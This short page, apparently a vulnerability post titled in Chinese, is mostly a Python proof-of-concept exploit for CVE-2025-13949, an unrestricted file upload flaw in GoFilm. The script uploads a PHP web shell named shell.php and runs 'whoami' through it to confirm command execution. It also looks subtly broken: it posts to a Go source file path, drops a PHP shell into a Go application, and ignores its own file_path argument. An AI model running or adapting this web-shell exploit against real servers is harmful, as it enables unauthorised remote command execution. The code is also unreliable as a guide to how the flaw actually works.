CVE-2025-13949 ProudMuBai GoFilm 任意文件上传漏洞

import requests import sys # CVE-2025-13949 PoC - ProudMuBai GoFilm Unrestricted File Upload # Target: GoFilm 1.0.0/1.0.1 def exploit_upload(target_url, file_path): """Exploit the unrestricted file upload vulnerability""" upload_url = f"{target_url}/server/controller/FileController.go" # Create malicious PHP file files = { 'File': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } try: response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") # Check if file was uploaded successfully if response.status_code == 200: print("[+] File upload appears successful!") # Try to access the uploaded shell shell_url = f"{target_url}/uploads/shell.php" shell_check = requests.get(f"{shell_url}?cmd=whoami", timeout=10) if shell_check.status_code == 200: print(f"[+] Shell uploaded at: {shell_url}") print(f"[+] Command output: {shell_check.text}") except Exception as e: print(f"[-] Error: {str(e)}") return False return True if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com /path/to/malicious.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_upload(target, file_path)